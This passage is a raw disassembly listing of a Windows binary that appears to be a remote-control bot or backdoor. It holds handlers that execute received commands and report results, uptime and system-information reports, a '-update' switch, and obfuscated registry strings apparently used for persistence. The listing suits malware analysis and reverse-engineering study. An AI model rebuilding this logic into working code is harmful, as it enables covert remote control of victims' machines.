[esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 10h call sub_4017EE push eax lea edx, [esp+17Ch+var_11C] push offset aResolve_errorS ; "resolve.error %s." push edx call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_11C] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_40545B: ; CODE XREF: sub_404CC0+64Fj mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], ebp call sub_401226 mov al, bl jmp loc_4056BF ; --------------------------------------------------------------------------- loc_40547E: ; CODE XREF: sub_404CC0+50Cj lea ecx, [edi+0BCDh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_40556C lea ecx, [edi+9] call sub_4017EE lea edx, [esp+178h+var_164] push eax push edx call sub_402040 push 0 push 25h push 1Dh push 23h lea eax, [esp+190h+var_14C] mov ebx, 11h push 28h push eax mov [esp+198h+var_4], ebx call sub_4019C4 add esp, 20h mov esi, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 12h call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D8075 call sub_401E24 add esp, 10h lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 push 20h lea ecx, [esp+17Ch+var_14C] push 0 push ecx lea ecx, [esp+184h+var_164] call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 13h call sub_4017EE push eax push offset aS ; "%s" push offset byte_4E8E45 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_40556C: ; CODE XREF: sub_404CC0+7D3j lea ecx, [edi+0E23h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4056DA push offset asc_444600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi call sub_4016B8 mov edi, eax mov ecx, ebp mov [esp+178h+var_4], 14h call sub_4013E3 mov ecx, edi mov ebx, eax call sub_4013E3 mov ecx, esi lea edi, [ebx+eax+3] call sub_4013E3 cmp eax, edi lea ecx, [esp+178h+var_11C] setle bl or edi, 0FFFFFFFFh mov [esp+178h+var_4], edi call sub_401226 test bl, bl jnz loc_4056BD lea ecx, [esp+178h+var_14C] call sub_40142E mov ecx, ebp mov [esp+178h+var_4], 15h call sub_4013E3 add eax, 2 mov ecx, esi push eax call sub_401479 push eax lea ecx, [esp+17Ch+var_14C] call sub_4015E1 lea ecx, [esp+178h+var_164] call sub_40142E lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], 16h call sub_4017EE push eax lea eax, [esp+17Ch+var_164] push offset aExecutedS_ ; "Executed: %s." push eax call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] call sub_4017EE push eax nop call near ptr 77C293C7h add esp, 4 cmp eax, edi lea ecx, [esi+69h] jnz short loc_405674 call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx jmp short loc_405692 ; --------------------------------------------------------------------------- loc_405674: ; CODE XREF: sub_404CC0+997j call sub_4014DD push eax lea ecx, [esp+17Ch+var_164] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_405692: ; CODE XREF: sub_404CC0+9B2j mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 15h call sub_401226 mov [esp+178h+var_4], edi lea ecx, [esp+178h+var_14C] loc_4056B8: ; CODE XREF: sub_404CC0+1D4j ; sub_404CC0+2AFj ... call sub_401226 loc_4056BD: ; CODE XREF: sub_404CC0+91Cj ; sub_404CC0+C6Aj xor al, al loc_4056BF: ; CODE XREF: sub_404CC0+6Fj ; sub_404CC0+200j ... mov ecx, [esp+178h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 168h retn 4 ; --------------------------------------------------------------------------- loc_4056DA: ; CODE XREF: sub_404CC0+8C1j lea ecx, [edi+0C85h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_405750 lea edx, [esp+178h+var_164] mov ecx, edi push edx call sub_401F5A mov edi, eax lea ecx, [esi+69h] mov [esp+178h+var_4], 17h call sub_4014DD push eax mov ecx, edi call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+178h+var_164] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_4056BF ; --------------------------------------------------------------------------- loc_405750: ; CODE XREF: sub_404CC0+A2Fj lea ecx, [edi+0CE1h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405841 push 1 push offset asc_444600 ; " " lea edx, [esp+180h+var_14C] push 1 push edx mov ecx, esi call sub_4011EA push 20h lea ecx, [esp+17Ch+var_164] push 0 push ecx mov ecx, eax mov [esp+184h+var_4], 18h call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 19h call sub_4017EE push eax push offset aS ; "%s" push offset byte_4E8E45 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 18h call sub_401226 or edi, 0FFFFFFFFh lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], edi call sub_401226 push 0 push 25h push 1Dh push 23h lea edx, [esp+188h+var_164] push 28h push edx call sub_4019C4 add esp, 18h mov esi, eax mov ecx, offset byte_4E8E45 mov [esp+178h+var_4], 1Ah call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D8075 call sub_401E24 add esp, 10h lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], edi call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_405841: ; CODE XREF: sub_404CC0+AA5j lea ecx, [edi+0CB3h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405915 push offset asc_444600 ; " " lea eax, [esp+17Ch+var_14C] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+178h+var_4], 1Bh call sub_4017EE push eax nop call near ptr 77C1BF18h or ebp, 0FFFFFFFFh add esp, 4 lea ecx, [esp+178h+var_14C] mov ebx, eax mov [esp+178h+var_4], ebp call sub_401226 test ebx, ebx jnz short loc_4058A9 mov ebx, 7 loc_4058A9: ; CODE XREF: sub_404CC0+BE2j lea ecx, [esp+178h+var_164] push ebx push ecx mov ecx, edi call sub_40195B push offset byte_448F30 lea ecx, [esp+17Ch+var_164] mov [esp+17Ch+var_4], 1Ch call sub_4012EE test eax, eax jz short loc_4058FE lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_164] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 loc_4058FE: ; CODE XREF: sub_404CC0+C11j lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], ebp call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_405915: ; CODE XREF: sub_404CC0+B96j lea ecx, [edi+0DF5h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4056BD lea ecx, [esp+178h+var_100] call sub_40142E push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+22Ch+var_164] push 2Dh push ecx mov [esp+234h+var_4], 1Dh call sub_4019C4 add esp, 0BCh mov ecx, eax mov byte ptr [esp+178h+var_4], 1Eh call sub_4017EE push eax lea ecx, [esp+17Ch+var_100] call sub_401A9B lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 1Dh call sub_401226 mov edi, offset aN ; "N" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+178h+var_8C] repne scasb not ecx sub edi, ecx mov [esp+178h+var_168], 0 mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb lea edi, [esp+178h+var_8C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov esi, dword_511764 mov edi, ecx lea ecx, [esp+178h+var_168] push ecx push 20019h push eax push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push 80000002h call esi push 0 push 27h push 29h push 1Dh push 1Eh push 5 push 0Ch push 2 push 1 push 0Eh lea edx, [esp+1B4h+var_178] push 1Fh push edx call sub_4019C4 add esp, 30h lea ecx, [esp+18Ch+var_A0] push edi push ecx push 1 push 0 mov ecx, eax mov [esp+19Ch+var_18], 1Fh call sub_4017EE mov edx, [esp+19Ch+var_17C] push eax push edx call near ptr 2970000h nop lea ecx, [esp+1A4h+var_190] mov [esp+1A4h+var_30], 1Dh call sub_401226 mov eax, [esp+1A4h+var_194] mov edi, dword_511740 push eax call edi lea ecx, [esp+1A8h+var_198] push ecx push 0F003Fh push 0 lea ecx, [esp+1B4h+var_130] call sub_4017EE push eax push 80000002h call esi push 0 push 5 push 18h push 5 push 4Eh push 5 push 14h push 1 push 13h lea edx, [esp+1E0h+var_1A8] push 2Dh push edx call sub_4019C4 add esp, 2Ch mov ecx, eax mov [esp+1BCh+var_48], 20h call sub_4017EE mov ebp, dword_51176C push eax mov eax, [esp+1C0h+var_1AC] push eax call ebp lea ecx, [esp+1C4h+var_1B0] mov [esp+1C4h+var_50], 1Dh call sub_401226 mov ecx, [esp+1C4h+var_1B4] push ecx call edi push 0 push 5 push 18h push 5 push 4Eh push 48h push 0Eh push 15h push 12h lea edx, [esp+1ECh+var_1B4] push 9 push edx call sub_4019C4 add esp, 2Ch mov ecx, eax mov [esp+1C8h+var_54], 21h call sub_4017EE push eax call sub_401604 sub_404CC0 endp ; --------------------------------------------------------------------------- db 83h dd 4C8D04C4h, 84C61424h, 17424h, 0BFE81D00h, 8DFFFFB6h dd 0E844244Ch, 0FFFFB8BEh, 46822B3h, 68000001h, 104h, 4C244C8Dh dd 7C249C88h, 0E8000001h, 0FFFFC0E5h, 6DE89050h, 6A023FA4h dd 6A056A00h, 6A056A18h, 6A486A4Eh, 6A156A0Eh, 24448D12h dd 50096A38h, 0FFBE13E8h, 2CC483FFh, 84C6C88Bh, 17424h dd 2BE82300h, 50FFFFBCh, 48244C8Dh, 0FFBC21E8h, 4C8D50FFh dd 84684C24h, 51004446h, 0FFB450E8h, 10C483FFh, 14244C8Dh dd 74249C88h, 0E8000001h, 0FFFFB636h, 44244C8Dh, 0FFBA92E8h dd 0E89050FFh, 23EB156h, 1024548Dh, 78244C8Dh, 3F6852h dd 6A000Fh, 0FFBBD9E8h, 26850FFh, 0FF800000h, 6A006AD6h dd 6A186A05h, 6A4E6A05h, 6A146A05h, 24448D01h, 50126A34h dd 0FFBD8BE8h, 28C483FFh, 84C6C88Bh, 17424h, 0A3E82400h dd 8BFFFFBBh, 5010244Ch, 8DD5FF51h, 8814244Ch, 174249Ch dd 0C3E80000h, 8BFFFFB5h, 52102454h, 6AD7FFh, 186A056Ah dd 4E6A056Ah, 0E6A486Ah, 496A486Ah, 456A126Ah, 448D456Ah dd 96A4424h, 0BD36E850h, 0C483FFFFh, 0C6C88B38h, 1742484h dd 0E8250000h, 0FFFFBB4Eh, 0B95EE850h, 0C483FFFFh, 244C8D04h dd 249C8814h, 174h, 0FFB56DE8h, 10468FFh, 4680000h, 8D000001h dd 0E84C244Ch, 0FFFFBFA5h, 2DE89050h, 6A023FA3h, 6A056A00h dd 6A056A18h, 6A486A4Eh, 6A486A0Eh, 6A126A49h, 8D456A45h dd 6A44244Ch, 0CDE85109h, 83FFFFBCh, 0C88B38C4h, 742484C6h dd 26000001h, 0FFBAE5E8h, 4C8D50FFh, 0DBE84824h, 50FFFFBAh dd 4C24548Dh, 44468468h, 0AE85200h, 83FFFFB3h, 4C8D10C4h dd 9C881424h, 17424h, 0B4F0E800h, 4C8DFFFFh, 4CE84424h dd 50FFFFB9h, 0B010E890h, 448D023Eh, 4C8D1024h, 68507824h dd 0F003Fh, 93E8006Ah, 50FFFFBAh, 268h, 6AD6FF80h, 6A056A00h dd 6A056A18h, 6A056A4Eh, 6A016A14h, 244C8D13h, 51136A38h dd 0FFBC43E8h, 2CC483FFh, 84C6C88Bh, 17424h, 5BE82700h dd 8BFFFFBAh, 50102454h, 8DD5FF52h, 8814244Ch, 174249Ch dd 7BE80000h, 8BFFFFB4h, 50102444h, 6AD7FFh, 186A056Ah dd 4E6A056Ah, 196A136Ah, 0E6A136Ah, 4C8D096Ah, 176A3C24h dd 0BBF2E851h, 0C483FFFFh, 0C6C88B30h, 1742484h, 0E8280000h dd 0FFFFBA0Ah, 0B81AE850h, 0C483FFFFh, 244C8D04h, 249C8814h dd 174h, 0FFB429E8h, 10468FFh, 4680000h, 8D000001h, 0E84C244Ch dd 0FFFFBE61h, 0E9E89050h, 6A023FA1h, 6A056A00h, 6A056A18h dd 6A136A4Eh, 6A136A19h, 8D096A0Eh, 6A3C2454h, 8DE85217h dd 83FFFFBBh, 0C88B30C4h, 742484C6h, 29000001h, 0FFB9A5E8h dd 4C8D50FFh, 9BE84824h, 50FFFFB9h, 4C24448Dh, 44468468h dd 0CAE85000h, 83FFFFB1h, 4C8D10C4h, 9C881424h, 17424h dd 0B3B0E800h, 4C8DFFFFh, 0CE84424h, 50FFFFB8h, 0AED0E890h dd 4C8D023Eh, 68511024h, 0F003Fh, 8C8D006Ah, 8424h, 0B950E800h dd 6850FFFFh, 80000002h, 6AD6FFh, 186A056Ah, 4E6A056Ah dd 146A056Ah, 46A016Ah, 156A106Ah, 476A046Ah, 4824548Dh dd 0E852046Ah, 0FFFFBAF8h, 8B3CC483h, 2484C6C8h, 174h dd 0B910E82Ah, 8B50FFFFh, 50142444h, 4C8DD5FFh, 9C881424h dd 17424h, 0B330E800h, 4C8BFFFFh, 0FF511024h, 6A006AD7h dd 6A186A05h, 6A4E6A05h, 6A0C6A05h, 6A016A07h, 8D026A05h dd 6A402454h, 0A5E85202h, 83FFFFBAh, 0C88B34C4h, 742484C6h dd 2B000001h, 0FFB8BDE8h, 0CDE850FFh, 83FFFFB6h, 4C8D04C4h dd 9C881424h, 17424h, 0B2DCE800h, 468FFFFh, 68000001h dd 104h, 4C244C8Dh, 0FFBD14E8h, 0E89050FFh, 23FA09Ch, 56A006Ah dd 56A186Ah, 56A4E6Ah, 76A0C6Ah, 56A016Ah, 448D026Ah, 26A4024h dd 0BA3EE850h, 0C483FFFFh, 0C6C88B34h, 1742484h, 0E82C0000h dd 0FFFFB856h, 244C8D50h, 0B84CE848h, 8D50FFFFh, 684C244Ch dd 444684h, 0B07BE851h, 0C483FFFFh, 244C8D10h, 249C8814h dd 174h, 0FFB261E8h, 244C8DFFh, 0B6BDE844h, 0E850FFFFh dd 23EAD82h, 24548D90h, 244C8D10h, 3F685278h, 6A000F00h dd 0B804E800h, 6850FFFFh, 80000002h, 6AD6FFh, 0F6A0E6Ah dd 0B6A276Ah, 16A136Ah, 3024448Dh, 0E8502E6Ah, 0FFFFB9B8h dd 8B24C483h, 2484C6C8h, 174h, 0B7D0E82Dh, 4C8BFFFFh, 51501024h dd 4C8DD5FFh, 9C881424h, 17424h, 0B1F0E800h, 548BFFFFh dd 0FF521024h, 6A006AD7h, 6A186A05h, 6A4E6A05h, 6A0F6A0Eh dd 6A0B6A0Dh, 8D016A13h, 6A402444h, 65E85014h, 83FFFFB9h dd 0C88B34C4h, 742484C6h, 2E000001h, 0FFB77DE8h, 8DE850FFh dd 83FFFFB5h, 4C8D04C4h, 9C881424h, 17424h, 0B19CE800h dd 468FFFFh, 68000001h, 104h, 4C244C8Dh, 0FFBBD4E8h, 5DE850FFh dd 90023F9Fh, 56A006Ah, 56A186Ah, 0E6A4E6Ah, 0D6A0F6Ah dd 136A0B6Ah, 4C8D016Ah, 146A4024h, 0B8FEE851h, 0C483FFFFh dd 0C6C88B34h, 1742484h, 0E82F0000h, 0FFFFB716h, 244C8D50h dd 0B70CE848h, 6850FFFFh, 444684h, 5024548Dh, 0AF3BE852h dd 0C483FFFFh, 244C8D10h, 249C8814h, 174h, 0FFB121E8h dd 244C8DFFh, 0B57DE844h, 0E850FFFFh, 23EAC42h, 24448D90h dd 244C8D10h, 3F685078h, 6A000F00h, 0B6C4E800h, 6850FFFFh dd 80000002h, 6AD6FFh, 56A126Ah, 0F6A126Ah, 106A0C6Ah dd 8C8D186Ah, 0B024h, 511F6A00h, 0FFB873E8h, 28C483FFh dd 84C6C88Bh, 17424h, 8BE83000h, 8BFFFFB6h, 50102454h dd 8DD5FF52h, 90248Ch, 9C880000h, 17424h, 0B0A8E800h, 448BFFFFh dd 0FF501024h, 10358BD7h, 6800511Bh, 444668h, 4C68D6FFh dd 0FF004446h, 462C68D6h, 0D6FF0044h, 44460868h, 83D6FF00h dd 4C8D10C4h, 84C64424h, 17424h, 6BE81D00h, 8DFFFFB0h dd 0C778244Ch, 1742484h, 0FFFF0000h, 57E8FFFFh, 0B0FFFFB0h dd 0F4E9E901h, 9090FFFFh, 2 dup(90909090h), 154h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_406730 proc near ; CODE XREF: sub_40195Bj var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_406730 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push ebp push esi xor ebx, ebx push edi lea ecx, [esp+38h+var_24] mov [esp+38h+var_28], ebx call sub_40142E mov esi, [esp+38h+arg_4] mov ebp, 1 cmp esi, ebx mov [esp+38h+var_4], ebp jnz short loc_406781 mov esi, [esp+38h+arg_0] push ebx mov ecx, esi call sub_402112 mov [esp+38h+var_28], ebp jmp loc_406827 ; --------------------------------------------------------------------------- loc_406781: ; CODE XREF: sub_406730+3Aj call near ptr 27F0C4Bh nop mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx add edx, ecx sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov edi, edx cmp edi, esi jl short loc_406813 mov eax, ecx mov ecx, 15180h cdq idiv ecx mov esi, 0E10h mov ecx, edx mov eax, ecx cdq idiv esi mov eax, 88888889h mov esi, edx imul esi add edx, esi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx push edx push edi lea edx, [esp+44h+var_24] push offset aUpDdDhDm ; "up: %dd %dh %dm" push edx call sub_40102D mov esi, [esp+4Ch+arg_0] add esp, 14h lea eax, [esp+38h+var_24] mov ecx, esi push eax call sub_4014D3 jmp short loc_406823 ; --------------------------------------------------------------------------- loc_406813: ; CODE XREF: sub_406730+7Cj mov esi, [esp+38h+arg_0] push offset byte_448F30 mov ecx, esi call sub_401870 loc_406823: ; CODE XREF: sub_406730+E1j mov [esp+38h+var_28], ebp loc_406827: ; CODE XREF: sub_406730+4Cj lea ecx, [esp+38h+var_24] mov byte ptr [esp+38h+var_4], bl call sub_401226 mov ecx, [esp+38h+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 28h retn 8 sub_406730 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4068A0: ; CODE XREF: ___:00401672j push ecx push esi mov esi, [esp+0Ch] push offset byte_448F30 mov ecx, esi mov dword ptr [esp+8], 0 call sub_401870 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4068E0 proc near ; CODE XREF: sub_401F5Aj var_198 = dword ptr -198h var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_164 = byte ptr -164h var_14C = byte ptr -14Ch var_144 = dword ptr -144h var_140 = dword ptr -140h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4068E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18Ch push ebp push esi push edi lea ecx, [esp+1A4h+var_18C] mov [esp+1A4h+var_198], 0 call sub_40142E mov [esp+1A4h+var_4], 1 nop call near ptr 27F0C4Bh mov ecx, eax mov eax, 10624DD3h mul ecx mov esi, edx lea edx, [esp+1A4h+var_14C] push edx mov [esp+1A8h+var_190], 10h shr esi, 6 mov [esp+1A8h+var_194], 15h nop call near ptr 2840000h lea eax, [esp+1A4h+var_12C] mov [esp+1A4h+var_12C], 94h push eax call near ptr 2830000h nop mov eax, [esp+1A4h+var_128] cmp eax, 4 jnz short loc_4069AE mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_406996 mov eax, [esp+1A4h+var_11C] cmp eax, 1 jnz short loc_406986 mov ebp, offset a95 ; "95" jmp loc_406A21 ; --------------------------------------------------------------------------- loc_406986: ; CODE XREF: sub_4068E0+9Aj cmp eax, 2 jnz loc_406A1D mov ebp, offset aNt ; "NT" jmp short loc_4069EA ; --------------------------------------------------------------------------- loc_406996: ; CODE XREF: sub_4068E0+8Ej cmp eax, 0Ah jnz short loc_4069A2 mov ebp, offset a98 ; "98" jmp short loc_4069E0 ; --------------------------------------------------------------------------- loc_4069A2: ; CODE XREF: sub_4068E0+B9j cmp eax, 5Ah jnz short loc_4069DB mov ebp, offset aMe ; "ME" jmp short loc_4069E0 ; --------------------------------------------------------------------------- loc_4069AE: ; CODE XREF: sub_4068E0+83j cmp eax, 5 jnz short loc_4069DB mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_4069C5 mov ebp, offset a2000 ; "2000" jmp short loc_4069E0 ; --------------------------------------------------------------------------- loc_4069C5: ; CODE XREF: sub_4068E0+DCj cmp eax, 1 jnz short loc_4069D1 mov ebp, offset aXp ; "XP" jmp short loc_4069E0 ; --------------------------------------------------------------------------- loc_4069D1: ; CODE XREF: sub_4068E0+E8j cmp eax, 2 mov ebp, offset a2003 ; "2003" jz short loc_4069E0 loc_4069DB: ; CODE XREF: sub_4068E0+C5j ; sub_4068E0+D1j mov ebp, offset a??? ; "???" loc_4069E0: ; CODE XREF: sub_4068E0+C0j ; sub_4068E0+CCj ... cmp [esp+1A4h+var_11C], 2 jnz short loc_406A21 loc_4069EA: ; CODE XREF: sub_4068E0+B4j mov al, [esp+1A4h+var_118] test al, al jz short loc_406A21 lea ecx, [esp+1A4h+var_118] lea edx, [esp+1A4h+var_98] push ecx push ebp push offset aSS_2 ; "%s [%s]" push edx call sub_5F76F7 nop add esp, 10h lea ebp, [esp+1A4h+var_98] jmp short loc_406A21 ; --------------------------------------------------------------------------- loc_406A1D: ; CODE XREF: sub_4068E0+A9j mov ebp, [esp+1A4h+var_198] loc_406A21: ; CODE XREF: sub_4068E0+A1j ; sub_4068E0+108j ... lea eax, [esp+1A4h+var_190] lea ecx, [esp+1A4h+var_174] push eax push ecx nop call near ptr 2820000h lea edx, [esp+1A4h+var_194] lea eax, [esp+1A4h+var_164] push edx push eax call near ptr 2960000h nop mov eax, esi mov ecx, 15180h cdq idiv ecx lea eax, [esp+1A4h+var_174] mov edi, 0E10h mov ecx, edx lea edx, [esp+1A4h+var_164] push edx push eax mov eax, ecx cdq idiv edi mov eax, 88888889h mov edi, edx imul edi add edx, edi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx mov eax, 0C22E4507h sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx mov ecx, [esp+1B0h+var_120] push edx imul esi add edx, esi sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov eax, [esp+1B4h+var_128] push edx mov edx, [esp+1B8h+var_124] push ecx mov ecx, [esp+1BCh+var_144] push edx push eax mov eax, 804021h push ebp mul ecx sub ecx, edx mov eax, 804021h shr ecx, 1 add ecx, edx shr ecx, 13h push ecx mov ecx, [esp+1CCh+var_140] mul ecx sub ecx, edx shr ecx, 1 add ecx, edx shr ecx, 13h push ecx call sub_4017FD push eax lea ecx, [esp+1D4h+var_18C] push offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "... push ecx call sub_40102D mov esi, [esp+1DCh+arg_0] add esp, 38h lea edx, [esp+1A4h+var_18C] push edx mov ecx, esi call sub_4014D3 mov [esp+1A4h+var_198], 1 lea ecx, [esp+1A4h+var_18C] mov byte ptr [esp+1A4h+var_4], 0 call sub_401226 mov ecx, [esp+1A4h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 198h retn 4 sub_4068E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406BF0 proc near ; CODE XREF: sub_4015E6j mov eax, ecx mov dword ptr [eax], offset off_43F008 mov dword ptr [eax+110h], 0 retn sub_406BF0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_406C20: ; CODE XREF: ___:00401FAAj push esi mov esi, ecx call sub_401447 test byte ptr [esp+8], 1 jz short loc_406C38 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_406C38: ; CODE XREF: ___:00406C2Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406C50 proc near ; CODE XREF: sub_401447j mov dword ptr [ecx], offset off_43F008 mov ecx, [ecx+110h] test ecx, ecx jz short locret_406C67 push ecx call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx locret_406C67: ; CODE XREF: sub_406C50+Ej retn sub_406C50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_406C80 proc near ; CODE XREF: sub_401384j arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_406C80 push eax mov large fs:0, esp sub esp, 448h push ebx mov ebx, ecx mov eax, [ebx+110h] test eax, eax jz short loc_406CB1 push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_406CB1: ; CODE XREF: sub_406C80+26j push ebp push esi mov esi, [esp+460h+arg_0] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx call sub_437AEA sub_406C80 endp ; --------------------------------------------------------------------------- mov edx, eax mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+110h], edx repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov edi, [ebx+110h] or ecx, 0FFFFFFFFh mov byte ptr [ebx+4], 0 mov dword ptr [ebx+5], 0 mov byte ptr [ebx+9], 0 mov byte ptr [ebx+0Ah], 0 mov byte ptr [ebx+0Bh], 0 repne scasb not ecx push ecx call sub_437AEA ; --------------------------------------------------------------------------- mov edi, [ebx+110h] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov ebp, dword_511B00 mov eax, ecx mov esi, edi mov edi, edx push offset asc_444600 ; " " shr ecx, 2 rep movsd mov ecx, eax push edx and ecx, 3 rep movsb call ebp ; strtok add esp, 10h mov [esp+58h], eax lea esi, [esp+5Ch] mov edi, 0FFh loc_406D62: ; CODE XREF: ___:00406D74j push offset asc_444600 ; " " push 0 call ebp ; strtok mov [esi], eax add esp, 8 add esi, 4 dec edi jnz short loc_406D62 mov eax, [esp+58h] xor ecx, ecx cmp eax, ecx jz loc_406F68 lea ebp, [esp+58h] loc_406D88: ; CODE XREF: ___:00406F60j mov edi, [ebp+0] mov esi, offset dword_4447EC mov eax, edi loc_406D92: ; CODE XREF: ___:00406DB0j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406DB6 test cl, cl jz short loc_406DB2 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406DB6 add eax, 2 add esi, 2 test cl, cl jnz short loc_406D92 loc_406DB2: ; CODE XREF: ___:00406D9Cj xor eax, eax jmp short loc_406DBB ; --------------------------------------------------------------------------- loc_406DB6: ; CODE XREF: ___:00406D98j ; ___:00406DA6j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DBB: ; CODE XREF: ___:00406DB4j test eax, eax jz loc_406F58 mov esi, offset aUpdate ; "-update" mov eax, edi loc_406DCA: ; CODE XREF: ___:00406DE8j mov dl, [eax] 